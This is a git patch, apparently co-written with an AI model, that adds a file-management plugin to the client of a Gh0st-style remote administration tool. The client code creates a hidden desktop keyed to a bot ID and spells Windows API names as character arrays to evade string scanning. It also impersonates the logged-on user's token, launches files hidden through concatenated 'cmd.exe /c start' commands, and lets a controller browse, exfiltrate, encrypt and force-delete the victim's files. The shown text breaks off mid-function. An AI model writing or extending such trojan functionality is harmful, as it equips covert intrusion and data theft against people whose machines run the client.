From 2c3e1ca5189a335221f0c50fe6f17e091267af2f Mon Sep 17 00:00:00 2001
From: yuanyuanxiang <962914132@qq.com>
Date: Mon, 5 Oct 2026 10:09:26 +0200
Subject: [PATCH] =?UTF-8?q?Feature:=20Migrate=20SimplePlugins=20file=20man?=
=?UTF-8?q?agement=20(=E6=96=87=E4=BB=B6=E7=AE=A1=E7=90=86=E8=BF=81?=
=?UTF-8?q?=E7=A7=BB)?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Migrate the SimplePlugins file-management feature into the YAMA client as an
experimental feature. The migrated CFileManager, MasterEncoder and Info-Zip
sources live under client/file/ and are isolated in the SimplePluginsFile
namespace to avoid clashing with the native FileManager class.
Add COMMAND_FILE_MANAGER_PLUGIN (163) and LoopFileManagerPlugin, spawned as
a sub-connection from KernelManager. Add an "实验功能" submenu with a
"文件管理" entry above "客户管理" in the online-hosts right-click menu,
routed via OnExperimentFileManager to the existing TOKEN_DRIVE_LIST_PLUGIN
dialog path.
Co-Authored-By: deepseek-v4-pro
---
client/ClientDll_vs2015.vcxproj | 8 +
client/Common.cpp | 6 +
client/Common.h | 1 +
client/KernelManager.cpp | 10 +
client/file/FileManager.cpp | 1801 +++++++++++++++++
client/file/FileManager.h | 152 ++
client/file/MasterEncoder.cpp | 162 ++
client/file/MasterEncoder.h | 32 +
client/file/zip.cpp | 2911 +++++++++++++++++++++++++++
client/file/zip.h | 207 ++
client/ghost_vs2015.vcxproj | 8 +
common/commands.h | 1 +
server/2015Remote/2015Remote.rc | Bin 185670 -> 185948 bytes
server/2015Remote/2015RemoteDlg.cpp | 6 +
server/2015Remote/2015RemoteDlg.h | 1 +
server/2015Remote/resource.h | 3 +-
16 files changed, 5308 insertions(+), 1 deletion(-)
create mode 100644 client/file/FileManager.cpp
create mode 100644 client/file/FileManager.h
create mode 100644 client/file/MasterEncoder.cpp
create mode 100644 client/file/MasterEncoder.h
create mode 100644 client/file/zip.cpp
create mode 100644 client/file/zip.h
diff --git a/client/ClientDll_vs2015.vcxproj b/client/ClientDll_vs2015.vcxproj
index 7ba543f..55f7f8c 100644
--- a/client/ClientDll_vs2015.vcxproj
+++ b/client/ClientDll_vs2015.vcxproj
@@ -187,6 +187,11 @@
+
+ $(IntDir)FileManager_plugin.obj
+
+
+
@@ -240,6 +245,9 @@
+
+
+
diff --git a/client/Common.cpp b/client/Common.cpp
index 7694327..6291f57 100644
--- a/client/Common.cpp
+++ b/client/Common.cpp
@@ -4,6 +4,7 @@
#include "Manager.h"
#include "ScreenManager.h"
#include "FileManager.h"
+#include "file/FileManager.h"
#include "TalkManager.h"
#include "ChatManager.h"
#include "MachineManager.h"
@@ -113,6 +114,11 @@ DWORD WINAPI LoopMachineManager(LPVOID lParam)
return LoopManager(lParam);
}
+DWORD WINAPI LoopFileManagerPlugin(LPVOID lParam)
+{
+ return LoopManager(lParam);
+}
+
DWORD WINAPI LoopShellManager(LPVOID lParam)
{
// Use ConPTY for xterm.js terminal on Windows 10 1809+, fallback to legacy pipe
diff --git a/client/Common.h b/client/Common.h
index 4a4bddc..4e1c88c 100644
--- a/client/Common.h
+++ b/client/Common.h
@@ -30,6 +30,7 @@ DWORD WINAPI LoopFileManager(LPVOID lParam);
DWORD WINAPI LoopTalkManager(LPVOID lParam);
DWORD WINAPI LoopChatManager(LPVOID lParam);
DWORD WINAPI LoopMachineManager(LPVOID lParam);
+DWORD WINAPI LoopFileManagerPlugin(LPVOID lParam);
DWORD WINAPI LoopProcessManager(LPVOID lParam);
DWORD WINAPI LoopWindowManager(LPVOID lParam);
DWORD WINAPI LoopVideoManager(LPVOID lParam);
diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp
index ff71197..82ba7b1 100644
--- a/client/KernelManager.cpp
+++ b/client/KernelManager.cpp
@@ -1177,6 +1177,16 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
break;
}
+ case COMMAND_FILE_MANAGER_PLUGIN: { // 插件文件管理(SimplePlugins 迁移)
+ {
+ auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
+ sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
+ m_hThread[m_ulThreadCount].p = sub;
+ }
+ m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopFileManagerPlugin, &m_hThread[m_ulThreadCount], 0, NULL);;
+ break;
+ }
+
case COMMAND_SHELL: {
if (!ENABLE_SHELL) {
return ResponseDisable(m_ClientObject, "SHELL", szBuffer + 1, ulLength - 1);
diff --git a/client/file/FileManager.cpp b/client/file/FileManager.cpp
new file mode 100644
index 0000000..6693aac
--- /dev/null
+++ b/client/file/FileManager.cpp
@@ -0,0 +1,1801 @@
+// FileManager.cpp: implementation of the CFileManager class.
+//
+//////////////////////////////////////////////////////////////////////
+#include "StdAfx.h"
+#include "FileManager.h"
+
+#include
+#include
+#include
+#include
+#include
+#include
+#include //BMP2JPEG
+
+namespace SimplePluginsFile {
+
+FARPROC MyGetProcAddressA(LPCSTR lpFileName, LPCSTR lpProcName)
+{
+ HMODULE hModule;
+ hModule = GetModuleHandleA(lpFileName);
+ if (hModule == NULL)
+ hModule = LoadLibraryA(lpFileName);
+ if (hModule != NULL)
+ return GetProcAddress(hModule, lpProcName);
+ else
+ return NULL;
+}
+
+//////////////////////////////////////////////////////////////////////
+// Construction/Destruction
+//////////////////////////////////////////////////////////////////////
+
+CFileManager::CFileManager(ISocketBase* pClient, int n, void* user) :CManager(pClient)
+{
+ const char* sign = "master";
+ m_encoder.setSignAndKey((char*)sign, (int)strlen(sign), 100);
+
+ memset(g_desktopName, 0, sizeof(g_desktopName));
+ GetBotId(g_desktopName);
+ g_hDesk = OpenDesktop(g_desktopName, 0, TRUE, GENERIC_ALL);
+ if (!g_hDesk)
+ g_hDesk = CreateDesktop(g_desktopName, NULL, NULL, 0, GENERIC_ALL, NULL);
+ SetThreadDesktop(g_hDesk);
+ lpSendPacket = (LPBYTE)LocalAlloc(LPTR, MAX_SEND_BUFFER);
+ m_bIsWow64 = FALSE;
+ IsWow64Process(GetCurrentProcess(), &m_bIsWow64);
+ m_hFileSend = INVALID_HANDLE_VALUE;
+ m_hFileRecv = INVALID_HANDLE_VALUE;
+ m_nTransferMode = TRANSFER_MODE_NORMAL;
+ benofrce = false;
+ copyfile = NULL;
+ m_hWorkThread = NULL;
+ bIsStopSearch = FALSE;
+
+ m_hWorkZIPThread = NULL;
+ bIsStopZIP = FALSE;
+ zippath_t = NULL;
+
+ c_pathname = new char[MAX_PATH * 4];
+ // 发送驱动器列表, 开始进行文件管理,建立新线程
+ SendDriveList();
+}
+
+CFileManager::~CFileManager()
+{
+ m_UploadList.clear();
+ if (m_hFileSend != INVALID_HANDLE_VALUE) {
+ CloseHandle(m_hFileSend);
+ m_hFileSend = INVALID_HANDLE_VALUE;
+ }
+ if (m_hFileRecv != INVALID_HANDLE_VALUE) {
+ CloseHandle(m_hFileRecv);
+ m_hFileRecv = INVALID_HANDLE_VALUE;
+ }
+ LocalFree(lpSendPacket);
+ SAFE_DELETE_AR(c_pathname);
+}
+
+void CFileManager::OnReceive(LPBYTE lpBuffer, ULONG nSize)
+{
+ if (lpBuffer[0] == TOKEN_HEARTBEAT) return;
+
+ PVOID OldValue = NULL;
+ BOOL bRevert = FALSE;
+ if (m_bIsWow64) {
+ char AjrFx[] = { 'K','E','R','N','E','L','3','2','.','d','l','l','\0' };
+ char xTfkA[] = { 'W','o','w','6','4','D','i','s','a','b','l','e','W','o','w','6','4','F','s','R','e','d','i','r','e','c','t','i','o','n','\0' };
+ typedef BOOL(WINAPI* Wow64DisableWow64FsRedirectionT)(PVOID* OldValue);
+ Wow64DisableWow64FsRedirectionT pWow64DisableWow64FsRedirection = (Wow64DisableWow64FsRedirectionT)MyGetProcAddressA(AjrFx, xTfkA);
+ if (pWow64DisableWow64FsRedirection)
+ bRevert = pWow64DisableWow64FsRedirection(&OldValue);
+ }
+ switch (lpBuffer[0]) {
+ case COMMAND_LIST_FILES: // 获取磁盘列表(文件列表)
+ SendFilesList((TCHAR*)(lpBuffer + 1));
+ break;
+ case COMMAND_DELETE_FILE: { // 被控端删除单个文件
+ if (benofrce) {
+ FnDelPathFile((TCHAR*)(lpBuffer + 1));
+ } else {
+ DeleteFile((TCHAR*)(lpBuffer + 1));
+ }
+ SendToken(TOKEN_DELETE_FINISH);
+ }
+ break;
+ case COMMAND_DELETE_DIRECTORY: // 被控端删除整个文件夹
+ DeleteDirectory((TCHAR*)(lpBuffer + 1));
+ SendToken(TOKEN_DELETE_FINISH);
+ break;
+ case COMMAND_DOWN_FILES: // 上传文件, 对于控制端来说是下载文件, 控制端仅创建文件(空文件)
+ UploadToRemote(lpBuffer + 1);
+ break;
+ case COMMAND_CONTINUE: // 上传数据, 对于控制端来说是下载数据, 控制端将保存数据到之前创建的空文件
+ SendFileData(lpBuffer + 1);
+ break;
+ case COMMAND_CREATE_FOLDER: // 被控端创建一个空的文件夹
+ CreateFolder(lpBuffer + 1);
+ break;
+ case COMMAND_RENAME_FILE: // 被控端重命名文件夹(文件)
+ Rename(lpBuffer + 1);
+ break;
+ case COMMAND_STOP: // 此处特殊
+ StopTransfer(*&lpBuffer[1]);
+ break;
+ case COMMAND_SET_TRANSFER_MODE: // 下载文件(对于控制端来说是上传文件)时的传输模式, 包含覆盖继传跳过等
+ SetTransferMode(lpBuffer + 1);
+ break;
+ case COMMAND_FILE_SIZE: // 下载文件, 对于控制端来说是上传文件, 被控端仅创建文件(空文件)
+ CreateLocalRecvFile(lpBuffer + 1);
+ break;
+ case COMMAND_FILE_DATA: // 下载数据, 对于控制端来说是上传数据, 被控端将保存数据到之前创建的空文件
+ WriteLocalRecvFile(lpBuffer + 1, nSize - 1);
+ break;
+ case COMMAND_OPEN_FILE_SHOW: { // 被控端以可见方式打开指定的文件(目录)
+ ShellExecute(NULL, _T("open"), (TCHAR*)(lpBuffer + 2), NULL, NULL, SW_SHOW);
+ }
+ break;
+ case COMMAND_OPEN_FILE_HIDE: { // 被控端以隐藏方式打开指定的文件(目录)
+ TCHAR path[MAX_PATH] = { 0 };
+ lstrcat(path, _T("cmd.exe /c start "));
+ lstrcat(path, (TCHAR*)(lpBuffer + 2));
+ STARTUPINFO startupInfo = { 0 };
+ startupInfo.cb = sizeof(startupInfo);
+ startupInfo.lpDesktop = g_desktopName;
+ PROCESS_INFORMATION processInfo = { 0 };
+ CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
+ }
+ break;
+ case COMMAND_COMPRESS_FILE_PARAM: // 被控端用(WinRAR)压缩或解压指定的文件(目录)
+ ExeCompress(lpBuffer + 1);
+ break;
+ case COMMAND_SEARCH_FILE:
+ if (bIsStopSearch == TRUE)
+ return;
+ SendSearchFilesList((TCHAR*)(lpBuffer + 1));
+ break;
+ case COMMAND_FILES_SEARCH_STOP:
+ StopSearchTheard();
+ SendToken(TOKEN_SEARCH_FILE_FINISH);
+ break;
+ case COMMAND_FILE_GETNETHOOD:
+ Sleep(150);
+ SendNetHood();
+ break;
+ case COMMAND_FILE_RECENT: {
+ TCHAR szPath[MAX_PATH];
+ ::SHGetSpecialFolderPath(NULL, szPath, CSIDL_RECENT, FALSE);
+ int ilen = lstrlen(szPath) * sizeof(TCHAR) + 3;
+ BYTE* pBuffer = new BYTE[ilen];
+ ZeroMemory(pBuffer, ilen);
+ pBuffer[0] = TOKEN_FILE_RECENT;
+ memcpy(pBuffer + 1, szPath, lstrlen(szPath) * sizeof(TCHAR));
+ Send(pBuffer, ilen);
+ SAFE_DELETE_AR(pBuffer);
+ }
+ break;
+ case COMMAND_FILE_INFO: {
+ TCHAR* outpath = new TCHAR[MAX_PATH];
+ ZeroMemory(outpath, sizeof(outpath));
+ getLnkFormPath((TCHAR*)(lpBuffer + 1), outpath);
+ int ilen = lstrlen(outpath) * sizeof(TCHAR) + 3;
+ BYTE* pBuffer = new BYTE[ilen];
+ ZeroMemory(pBuffer, ilen);
+ pBuffer[0] = TOKEN_FILE_INFO;
+ memcpy(pBuffer + 1, outpath, lstrlen(outpath) * sizeof(TCHAR));
+ Send(pBuffer, ilen);
+ SAFE_DELETE_AR(outpath);
+ SAFE_DELETE_AR(pBuffer);
+ }
+ break;
+ case COMMAND_FILE_Encryption: {
+ encfile((char*)(lpBuffer + 1));
+ SendToken(TOKEN_FILE_REFRESH);
+ }
+ break;
+ case COMMAND_FILE_Decrypt: {
+ decryptfile((char*)(lpBuffer + 1));
+ SendToken(TOKEN_FILE_REFRESH);
+ }
+ break;
+ case COMMAND_FILE_CopyFile: {
+ if (nSize < 2)
+ return;
+ SAFE_DELETE_AR(copyfile);
+ copyfile = (TCHAR*)(new byte[nSize - 1]);
+ memcpy(copyfile, (char*)(lpBuffer + 1), nSize - 1);
+ }
+ break;
+ case COMMAND_FILE_PasteFile: {
+ if (nSize > (MAX_PATH * 2 - 10))
+ return;
+ if (!copyfile) return;
+
+ TCHAR* copynewfile = new TCHAR[MAX_PATH * 2];
+ ZeroMemory(copynewfile, MAX_PATH * 2 * 2);
+ memcpy(copynewfile, (char*)(lpBuffer + 1), nSize - 1);
+ std::string input = copyfile;
+ std::stringstream ss(input);
+ std::string token;
+ int num = 0;
+ int pathlen = 0;
+ TCHAR* tempath = NULL;
+ TCHAR* copynewfile_name = new TCHAR[MAX_PATH * 2];
+ while (std::getline(ss, token, _T('|'))) {
+ token += _T('\0');
+ tempath = (TCHAR*)token.c_str();
+ std::string str = tempath;
+ int num = 0;
+ size_t fi = str.find_last_of(_T("\\"));
+ if (fi == str.npos)
+ continue;
+
+ ZeroMemory(copynewfile_name, MAX_PATH * 2 * 2);
+ memcpy(copynewfile_name, copynewfile, lstrlen(copynewfile) * 2);
+ memcpy(copynewfile_name + lstrlen(copynewfile), tempath + fi + 1, (lstrlen(tempath) - fi) * 2);
+ std::string TEM = copynewfile_name;
+ TEM += _T('\0');
+ DWORD dwAttr = GetFileAttributes(tempath);
+ if (INVALID_FILE_ATTRIBUTES == dwAttr) {
+ }
+ if (dwAttr & FILE_ATTRIBUTE_DIRECTORY) {
+ DWORD dwnewAttr = GetFileAttributes(copynewfile_name);
+ if (INVALID_FILE_ATTRIBUTES != dwnewAttr) {
+ DWORD ti = ::timeGetTime();
+ wsprintf(copynewfile_name, _T("%s%d"), copynewfile_name, ti);
+ TEM = copynewfile_name;
+ TEM += _T('\0');
+ }
+ SHFILEOPSTRUCT fop = { 0 };
+ fop.fFlags = FOF_SILENT | FOF_NOERRORUI | FOF_NOCONFIRMMKDIR | FOF_RENAMEONCOLLISION;
+ fop.wFunc = FO_COPY;//选择执行类型,FO_COPY,FO_DELETE,FO_RENAME,FO_MOVE四种
+ fop.pFrom = tempath;//如:D:\*.txt
+ fop.pTo = TEM.c_str();//D:\test
+ SHFileOperation(&fop);
+ } else {
+ if (!CopyFile(tempath, copynewfile_name, true)) {
+ DWORD ti = ::timeGetTime();
+ wsprintf(copynewfile_name, _T("%s%d"), copynewfile_name, ti);
+ CopyFile(tempath, copynewfile_name, false);
+ }
+ }
+ }
+ SAFE_DELETE_AR(copynewfile_name);
+ SAFE_DELETE_AR(copynewfile);
+ SendToken(TOKEN_FILE_REFRESH);
+ }
+ break;
+
+ case COMMAND_FILE_zip: {
+ if (bIsStopZIP == TRUE)
+ return;
+ if (nSize > 1) {
+ zippath_t = new TCHAR[nSize - 1];
+ memcpy(zippath_t, lpBuffer + 1, nSize);
+ StartZIP();
+ }
+ }
+ break;
+ case COMMAND_FILE_zip_stop: {
+ StopZIPTheard();
+ }
+ break;
+ case COMMAND_FILE_ENFOCE: {
+ benofrce = true;
+ }
+ break;
+ case COMMAND_FILE_NO_ENFORCE: {
+ benofrce = false;
+ }
+ break;
+ case COMMAND_FILE_GETINFO: {
+ TCHAR* filename = (TCHAR*)(lpBuffer + 1);
+ std::string str = filename;
+ int num = 0;
+ size_t fi = str.find_last_of(_T("."));
+ if (fi == str.npos)
+ return;
+ TCHAR* copynewfile_name = new TCHAR[MAX_PATH * 2];
+ memcpy(copynewfile_name, filename + fi + 1, (lstrlen(filename) - fi) * 2);
+ SendFileInfo(filename, copynewfile_name);
+ SAFE_DELETE_AR(copynewfile_name);
+ }
+ break;
+ case COMMAND_FILE_SEARCHPLUS_LIST: {
+ SendSearchData(lpBuffer + 1);
+ }
+ break;
+ default:
+ break;
+ }
+
+ if (bRevert) {
+ char VjrFx[] = { 'K','E','R','N','E','L','3','2','.','d','l','l','\0' };
+ char xTfkV[] = { 'W','o','w','6','4','R','e','v','e','r','t','W','o','w','6','4','F','s','R','e','d','i','r','e','c','t','i','o','n','\0' };
+ typedef BOOL(WINAPI* Wow64RevertWow64FsRedirectionT)(PVOID OldValue);
+ Wow64RevertWow64FsRedirectionT pWow64RevertWow64FsRedirection = (Wow64RevertWow64FsRedirectionT)MyGetProcAddressA(VjrFx, xTfkV);
+ if (pWow64RevertWow64FsRedirection)
+ pWow64RevertWow64FsRedirection(OldValue);
+ }
+}
+
+bool CFileManager::MakeSureDirectoryPathExists(LPCTSTR pszDirPath)
+{
+ LPTSTR p, pszDirCopy = NULL;
+ DWORD dwAttributes;
+
+ // Make a copy of the string for editing.
+ __try {
+ pszDirCopy = (LPTSTR)malloc(sizeof(TCHAR) * (lstrlen(pszDirPath) + 1));
+
+ if (pszDirCopy == NULL)
+ return FALSE;
+
+ lstrcpy(pszDirCopy, pszDirPath);
+
+ p = pszDirCopy;
+
+ // If the second character in the path is "\", then this is a UNC
+ // path, and we should skip forward until we reach the 2nd \ in the path.
+
+ if ((*p == TEXT('\\')) && (*(p + 1) == TEXT('\\'))) {
+ p++; // Skip over the first \ in the name.
+ p++; // Skip over the second \ in the name.
+
+ // Skip until we hit the first "\" (\\Server\).
+
+ while (*p && *p != TEXT('\\')) {
+ p = CharNext(p);
+ }
+
+ // Advance over it.
+
+ if (*p) {
+ p++;
+ }
+
+ // Skip until we hit the second "\" (\\Server\Share\).
+
+ while (*p && *p != TEXT('\\')) {
+ p = CharNext(p);
+ }
+
+ // Advance over it also.
+
+ if (*p) {
+ p++;
+ }
+
+ } else if (*(p + 1) == TEXT(':')) { // Not a UNC. See if it's :
+ p++;
+ p++;
+
+ // If it exists, skip over the root specifier
+
+ if (*p && (*p == TEXT('\\'))) {
+ p++;
+ }
+ }
+
+ while (*p) {
+ if (*p == TEXT('\\')) {
+ *p = TEXT('\0');
+ dwAttributes = GetFileAttributes(pszDirCopy);
+
+ // Nothing exists with this name. Try to make the directory name and error if unable to.
+ if (dwAttributes == 0xffffffff) {
+ if (!CreateDirectory(pszDirCopy, NULL)) {
+ if (GetLastError() != ERROR_ALREADY_EXISTS) {
+ free(pszDirCopy);
+ return FALSE;
+ }
+ }
+ } else {
+ if ((dwAttributes & FILE_ATTRIBUTE_DIRECTORY) != FILE_ATTRIBUTE_DIRECTORY) {
+ // Something exists with this name, but it's not a directory... Error
+ free(pszDirCopy);
+ return FALSE;
+ }
+ }
+
+ *p = TEXT('\\');
+ }
+
+ p = CharNext(p);
+ }
+ } __except (EXCEPTION_EXECUTE_HANDLER) {
+ free(pszDirCopy);
+ return FALSE;
+ }
+
+ free(pszDirCopy);
+ return TRUE;
+}
+
+BOOL CFileManager::OpenFile(LPCTSTR lpFile, INT nShowCmd)
+{
+ TCHAR lpSubKey[500];
+ HKEY hKey;
+ TCHAR strTemp[MAX_PATH];
+ LONG nSize = sizeof(strTemp);
+ TCHAR* lpstrCat = NULL;
+ memset(strTemp, 0, sizeof(strTemp));
+
+ TCHAR* lpExt = (TCHAR*)_tcschr(lpFile, _T('.'));
+ if (!lpExt)
+ return false;
+
+ if (RegOpenKeyEx(HKEY_CLASSES_ROOT, lpExt, 0L, KEY_ALL_ACCESS, &hKey) != ERROR_SUCCESS)
+ return false;
+ RegQueryValue(hKey, NULL, strTemp, &nSize);
+ RegCloseKey(hKey);
+ memset(lpSubKey, 0, sizeof(lpSubKey));
+ wsprintf(lpSubKey, _T("%s\\shell\\open\\command"), strTemp);
+
+ if (RegOpenKeyEx(HKEY_CLASSES_ROOT, lpSubKey, 0L, KEY_ALL_ACCESS, &hKey) != ERROR_SUCCESS)
+ return false;
+ memset(strTemp, 0, sizeof(strTemp));
+ nSize = sizeof(strTemp);
+ RegQueryValue(hKey, NULL, strTemp, &nSize);
+ RegCloseKey(hKey);
+ TCHAR str175914[] = { _T('\"'),_T('%'),_T('1'),_T('\0') };
+ TCHAR str175947[] = { _T('%'),_T('1'),_T('\0') };
+ lpstrCat = _tcsstr(strTemp, str175914);
+ if (lpstrCat == NULL)
+ lpstrCat = _tcsstr(strTemp, str175947);
+
+ if (lpstrCat == NULL) {
+ lstrcat(strTemp, _T(" "));
+ lstrcat(strTemp, lpFile);
+ } else
+ lstrcpy(lpstrCat, lpFile);
+
+ STARTUPINFO si = { 0 };
+ PROCESS_INFORMATION pi;
+ si.cb = sizeof si;
+ TCHAR str142919[] = { _T('W'),_T('i'),_T('n'),_T('S'),_T('t'),_T('a'),_T('0'),_T('\\'),_T('D'),_T('e'),_T('f'),_T('a'),_T('u'),_T('l'),_T('t'),_T('\0') };
+ if (nShowCmd != SW_HIDE)
+ si.lpDesktop = str142919;
+
+ return (BOOL)CreateProcess(NULL, strTemp, NULL, NULL, false, 0, NULL, NULL, &si, &pi);
+}
+
+HANDLE CFileManager::ImpersonateLoggedOnUserWrapper()
+{
+ char iOagR[] = { _T('K'),_T('E'),_T('R'),_T('N'),_T('E'),_T('L'),_T('3'),_T('2'),_T('.'),_T('d'),_T('l'),_T('l'),_T('\0') };
+ char wSuTs[] = { _T('W'),_T('T'),_T('S'),_T('G'),_T('e'),_T('t'),_T('A'),_T('c'),_T('t'),_T('i'),_T('v'),_T('e'),_T('C'),_T('o'),_T('n'),_T('s'),_T('o'),_T('l'),_T('e'),_T('S'),_T('e'),_T('s'),_T('s'),_T('i'),_T('o'),_T('n'),_T('I'),_T('d'),_T('\0') };
+ typedef DWORD(WINAPI* WTSGetActiveConsoleSessionIdT)(void);
+ WTSGetActiveConsoleSessionIdT pWTSGetActiveConsoleSessionId = (WTSGetActiveConsoleSessionIdT)MyGetProcAddressA(iOagR, wSuTs);
+
+ char oIksN[] = { _T('W'),_T('T'),_T('S'),_T('A'),_T('P'),_T('I'),_T('3'),_T('2'),_T('.'),_T('d'),_T('l'),_T('l'),_T('\0') };
+ char xAsDm[] = { _T('W'),_T('T'),_T('S'),_T('Q'),_T('u'),_T('e'),_T('r'),_T('y'),_T('U'),_T('s'),_T('e'),_T('r'),_T('T'),_T('o'),_T('k'),_T('e'),_T('n'),_T('\0') };
+ typedef BOOL(WINAPI* WTSQueryUserTokenT)(ULONG SessionId, PHANDLE phToken);
+ WTSQueryUserTokenT pWTSQueryUserToken = (WTSQueryUserTokenT)MyGetProcAddressA(oIksN, xAsDm);
+
+ char AjrFx[] = { _T('A'),_T('D'),_T('V'),_T('A'),_T('P'),_T('I'),_T('3'),_T('2'),_T('.'),_T('d'),_T('l'),_T('l'),_T('\0') };
+ char kbCfr[] = { _T('I'),_T('m'),_T('p'),_T('e'),_T('r'),_T('s'),_T('o'),_T('n'),_T('a'),_T('t'),_T('e'),_T('L'),_T('o'),_T('g'),_T('g'),_T('e'),_T('d'),_T('O'),_T('n'),_T('U'),_T('s'),_T('e'),_T('r'),_T('\0') };
+ typedef BOOL(WINAPI* ImpersonateLoggedOnUserT)(HANDLE hToken);
+ ImpersonateLoggedOnUserT pImpersonateLoggedOnUser = (ImpersonateLoggedOnUserT)MyGetProcAddressA(AjrFx, kbCfr);
+
+ HANDLE hToken = NULL;
+ if (pWTSGetActiveConsoleSessionId && pWTSQueryUserToken && pImpersonateLoggedOnUser) {
+ DWORD dwConsoleSessionId = pWTSGetActiveConsoleSessionId();
+ if (pWTSQueryUserToken(dwConsoleSessionId, &hToken)) {
+ return hToken;
+ }
+ }
+ return NULL;
+}
+
+UINT CFileManager::SendDriveList()
+{
+ TCHAR DriveString[256];
+ // 前一个字节为令牌,后面的52字节为驱动器跟相关属性
+ BYTE DriveList[2048];
+ TCHAR FileSystem[MAX_PATH];
+ TCHAR* pDrive = NULL;
+ TCHAR szUserName[UNLEN + 1];
+ DWORD dwUserLen = UNLEN;
+ DriveList[0] = TOKEN_DRIVE_LIST_PLUGIN; // 驱动器列表
+ GetLogicalDriveStrings(sizeof(DriveString), DriveString);
+ pDrive = DriveString;
+
+ unsigned __int64 HDAmount = 0;
+ unsigned __int64 HDFreeSpace = 0;
+ int AmntMB = 0; // 总大小
+ int FreeMB = 0; // 剩余空间
+
+ GetUserName(szUserName, &dwUserLen);
+ if (_tcscmp(szUserName, _T("SYSTEM")) == 0)
+ DriveList[1] = TRUE;
+ else
+ DriveList[1] = FALSE;
+
+ HANDLE hTokenAcsi = ImpersonateLoggedOnUserWrapper();
+ SHGetFolderPath(NULL, CSIDL_DESKTOPDIRECTORY, hTokenAcsi, SHGFP_TYPE_CURRENT, (TCHAR*)&DriveList[2]);
+ CloseHandle(hTokenAcsi);
+ DWORD dwOffset = 0;
+ for (dwOffset = 1 + 1 + (lstrlen((TCHAR*)&DriveList[2]) + 1) * sizeof(TCHAR); *pDrive != _T('\0'); pDrive += lstrlen(pDrive) + 1) {
+ memset(FileSystem, 0, sizeof(FileSystem));
+ // 得到文件系统信息及大小
+ GetVolumeInformation(pDrive, NULL, 0, NULL, NULL, NULL, FileSystem, MAX_PATH);
+ SHFILEINFO sfi;
+ SHGetFileInfo(pDrive, FILE_ATTRIBUTE_NORMAL, &sfi, sizeof(SHFILEINFO), SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES);
+
+ int nTypeNameLen = (lstrlen(sfi.szTypeName) + 1) * sizeof(TCHAR);
+ int nFileSystemLen = (lstrlen(FileSystem) + 1) * sizeof(TCHAR);
+
+ // 计算磁盘大小
+ if (pDrive[0] != _T('A') && pDrive[0] != _T('B') && GetDiskFreeSpaceEx(pDrive, (PULARGE_INTEGER)&HDFreeSpace, (PULARGE_INTEGER)&HDAmount, NULL)) {
+ AmntMB = (int)(HDAmount / 1024 / 1024);
+ FreeMB = (int)(HDFreeSpace / 1024 / 1024);
+ } else {
+ AmntMB = 0;
+ FreeMB = 0;
+ }
+ // 开始赋值
+ DriveList[dwOffset] = ((BYTE*)(pDrive))[0];
+ DriveList[dwOffset + 1] = 0x00;
+ DriveList[dwOffset + 2] = GetDriveType(pDrive);
+ DriveList[dwOffset + 3] = 0x00;
+ // 磁盘空间描述占去了8字节
+ ::memcpy(DriveList + dwOffset + 4, &AmntMB, sizeof(int));
+ ::memcpy(DriveList + dwOffset + 8, &FreeMB, sizeof(int));
+
+ // 磁盘卷标名及磁盘类型
+ ::memcpy(DriveList + dwOffset + 12, sfi.szTypeName, nTypeNameLen);
+ ::memcpy(DriveList + dwOffset + 12 + nTypeNameLen, FileSystem, nFileSystemLen);
+
+ dwOffset += 12 + nTypeNameLen + nFileSystemLen;
+ }
+
+ return Send((LPBYTE)DriveList, dwOffset);
+}
+
+UINT CFileManager::SendFilesList(TCHAR* lpszDirectory)
+{
+ // 重置传输方式
+ m_nTransferMode = TRANSFER_MODE_NORMAL;
+
+ UINT nRet = 0;
+ TCHAR strPath[MAX_PATH];
+ const TCHAR* lpszSlash = NULL;
+ TCHAR* pszFileName = NULL;
+ LPBYTE lpList = NULL;
+ HANDLE hFile;
+ DWORD dwOffset = 0; // 位移指针
+ int nLen = 0;
+ DWORD nBufferSize = 1024 * 10; // 先分配10K的缓冲区
+ WIN32_FIND_DATA FindFileData;
+
+ if (lpszDirectory[lstrlen(lpszDirectory) - 1] != '\\')
+ lpszSlash = _T("\\");
+ else
+ lpszSlash = _T("");
+ TCHAR str_last[] = { _T('%'),_T('s'),_T('%'),_T('s'),_T('*'),_T('.'),_T('*'),_T('\0') };
+ wsprintf(strPath, str_last, lpszDirectory, lpszSlash);
+ hFile = FindFirstFile(strPath, &FindFileData);
+
+ if (hFile == INVALID_HANDLE_VALUE) {
+ BYTE bToken = TOKEN_FILE_LIST;
+ return Send(&bToken, 1);
+ }
+
+ lpList = (BYTE*)LocalAlloc(LPTR, nBufferSize);
+ *lpList = TOKEN_FILE_LIST;
+
+ // 1 为数据包头部所占字节,最后赋值
+ dwOffset = 1;
+ /*
+ 文件属性 1
+ 文件名 strlen(filename) + 1 ('\0')
+ 文件大小 4
+ */
+ do {
+ // 动态扩展缓冲区
+ if (dwOffset > (nBufferSize - MAX_PATH * 2)) {
+ nBufferSize += MAX_PATH * 2;
+ lpList = (BYTE*)LocalReAlloc(lpList, nBufferSize, LMEM_ZEROINIT | LMEM_MOVEABLE);
+ }
+ pszFileName = FindFileData.cFileName;
+ if (_tcscmp(pszFileName, _T(".")) == 0 || _tcscmp(pszFileName, _T("..")) == 0)
+ continue;
+ // 文件属性 1 字节
+ *(lpList + dwOffset) = FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY;
+ dwOffset++;
+ // 文件名 lstrlen(pszFileName) + 1 字节
+ nLen = (lstrlen(pszFileName) + 1) * sizeof(TCHAR);
+ ::memcpy(lpList + dwOffset, pszFileName, nLen);
+ dwOffset += nLen;
+ // 文件大小 8 字节
+ ::memcpy(lpList + dwOffset, &FindFileData.nFileSizeHigh, sizeof(DWORD));
+ ::memcpy(lpList + dwOffset + 4, &FindFileData.nFileSizeLow, sizeof(DWORD));
+ dwOffset += 8;
+ // 最后访问时间 8 字节
+ ::memcpy(lpList + dwOffset, &FindFileData.ftLastWriteTime, sizeof(FILETIME));
+ dwOffset += 8;
+ } while (FindNextFile(hFile, &FindFileData));
+
+ nRet = Send(lpList, dwOffset);
